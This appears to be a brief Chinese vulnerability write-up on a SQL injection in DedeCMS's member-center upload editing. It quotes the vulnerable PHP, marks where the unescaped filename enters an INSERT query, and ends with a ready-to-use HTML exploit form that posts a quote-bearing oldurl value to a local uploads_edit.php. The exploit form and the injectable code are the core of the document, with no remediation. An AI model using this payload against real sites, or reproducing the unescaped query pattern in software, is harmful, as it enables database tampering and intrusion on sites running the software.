Dedecms 会员中心注入漏洞7
<pre><code>member/upload_edit.phpelse if($dopost=='save')
{
$title = HtmlReplace($title,2);
if($mediatype==1) $utype = 'image';
else if($mediatype==2)
{
$utype = 'flash';
}
else if($mediatype==3)
{
$utype = 'media';
}
else
{
$utype = 'addon';
}
$title = HtmlReplace($title, 2);
$exname = preg_replace("#(.*)/#", "", $oldurl);// 文件名是获取.前面的
$exname = preg_replace("#\.(.*)$#", "", $exname);
echo $exname ;
$filename = MemberUploads('addonfile', $oldurl, $cfg_ml->M_ID,
$utype,$exname, -1, -1, TRUE);//返回上传的文件名
SaveUploadInfo($title, $filename, $mediatype);//利用返回的带入查询
ShowMsg("成功修改文件！", "uploads_edit.php?aid=$aid");
}
function SaveUploadInfo($title,$filename,$medaitype=1,$addinfos='')
{
global $dsql,$cfg_ml,$cfg_basedir;
if($filename=='')
{
return FALSE;
}
if(!is_array($addinfos))
{
$addinfos = $addinfos = $addinfos = 0;
}
if($medaitype==1)
{
$info = '';
$addinfos = GetImageSize($cfg_basedir.$filename,$info);
}
$addinfos = @filesize($cfg_basedir.$filename);
$row = $dsql->GetOne("SELECT aid,title,url FROM `#@__uploads` WHERE url
LIKE '$filename' AND mid='".$cfg_ml->M_ID."'; ");
$uptime = time();
if(is_array($row))
{
$query = "UPDATE `#@__uploads` SET
title='$title',mediatype='$medaitype',
width='{$addinfos}',height='{$addinfos
}',filesize='{$addinfos}',uptime='$uptime'
WHERE aid='{$row['aid']}'; ";
$dsql->ExecuteNoneQuery($query);
}
else
{
$inquery = "INSERT INTO `#@__uploads`
(title,url,mediatype,width,height,playtime,filesize,uptime,mid)
VALUES ('$title','$filename','$medaitype','".$addinfos
."','".$addinfos."','0','".$addinfos."','$uptime','".$cfg_ml-
>M_ID."'); ";echo $inquery ;//注入就在这里发生了！
$dsql->ExecuteNoneQuery($inquery);
}
$fid = $dsql->GetLastID();
AddMyAddon($fid, $filename);
return TRUE;
}</code></pre>
利用方法
<pre><code><form id="frmUpload" enctype="multipart/form-data"
action="http://127.0.0.1/dede/member/uploads_edit.php?
dopost=save&title=ss&oldurl=1'.php" method="post">看Oldurl就知道了~
<input type="file" name="addonfile" id="addonfile" size="50"><br>
<input name="mode" type="hidden" value="2">
<input id="btnUpload" type="submit" value="Upload">
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